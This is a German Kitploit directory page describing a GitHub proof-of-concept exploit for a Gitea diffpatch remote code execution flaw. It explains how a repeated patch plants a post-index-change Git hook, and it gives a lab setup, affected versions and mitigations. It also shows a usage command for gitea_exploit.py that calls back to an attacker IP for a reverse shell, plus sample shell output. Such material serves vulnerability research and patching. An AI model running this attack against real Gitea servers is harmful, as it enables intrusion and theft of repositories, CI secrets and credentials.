Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60004 — Automatisierter Proof-of-Concept-Exploit für CVE-2026-60004, eine Gitea-Diffpatch-Git-Hook-RCE, die einen Post-Index-Change-Hook platziert, um eine Reverse Shell als Dienstkonto zu erhalten. | Kitploit
Tools/GitHubGitHub/yym8538/cve-2026-60004
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubyym8538/cve-2026-60004

CVE-2026-60004

Automatisierter Proof-of-Concept-Exploit für CVE-2026-60004, eine Gitea-Diffpatch-Git-Hook-RCE, die einen Post-Index-Change-Hook platziert, um eine Reverse Shell als Dienstkonto zu erhalten.

117vor 1 MonatNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Überblick

CVE-2026-60004 ist eine Remote Code Execution (RCE)-Schwachstelle in Gitea. Die diffpatch-API wendet einen übergebenen Patch mit git apply --cached an, was eigentlich nur den Index betreffen und niemals Dateien auf die Festplatte schreiben sollte. Indem derselbe Patch zweimal gesendet wird, erzwingt ein Angreifer eine Add/Add-Kollision, die Git's Three-Way-Merge-Fallback (-3) auslöst. Dieser Pfad ignoriert --cached und checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist sein Arbeitsbaum-Wurzelverzeichnis $GIT_DIR. Ein Patch, der einen ausführbaren hooks/post-index-change erstellt, platziert somit einen aktiven Git-Hook, den Git automatisch beim nächsten Index-Update ausführt — und Befehle als das Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.


Betroffene Versionen

KategorieVersion
AnfälligGitea 1.17 ≤ Version ≤ 1.27.0
GepatchtGitea 1.27.1 oder später

Auswirkung

  • Remote Code Execution als das Gitea-Dienstkonto (git)
  • Zugriff auf alle gehosteten Repositories, CI-Secrets und Datenbank-Anmeldedaten

Umgebung

Erstellen und starten Sie die anfällige Gitea-Umgebung. Die Registrierung bleibt offen und der Server liefert Git 2.32+, was den -3-Fallback aktiviert, auf den der Angriff angewiesen ist.

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
VoraussetzungZustand in diesem Lab
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ auf dem Server (aktiviert -3)2.54
Offene Registrierungaktiviert (Standard)
Repository-Schreibzugriffüber selbst registriertes Konto

PoC

Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein Repository erstellen kann, erstellt es das Ziel-Repository, sendet denselben Patch wiederholt, bis Git's -3-Fallback ausgelöst wird, und fängt die Reverse Shell mit einem integrierten Listener ab — kein manuelles Setup, Patch-Erstellung oder Blob-Hash-Berechnung nötig.

# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Der -3-Fallback wird nur in bestimmten Zeitfenstern ausgelöst, daher wiederholt das Skript create → send → send, bis es erfolgreich ist (Standard: 25 Versuche). Wenn ein Senden blockiert, wurde der Hook ausgelöst und der Listener bringt Sie in eine Shell als git:

[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

Optionen:

  • --no-listen — fangen Sie die Shell mit Ihrem eigenen externen nc anstelle des integrierten Listeners ab
  • --user / --pw / --repo / --branch — überschreiben Sie das Standardkonto und das Ziel-Repository

Gegenmaßnahmen

  • Aktualisieren Sie Gitea auf 1.27.1 oder später
  • Deaktivieren Sie die offene Registrierung, falls nicht erforderlich (DISABLE_REGISTRATION=true)
  • Beschränken Sie, wer die Instanz erreichen und Repositories erstellen kann

Analyse

  • KR: Demnächst verfügbar!
  • EN:
Tool herunterladen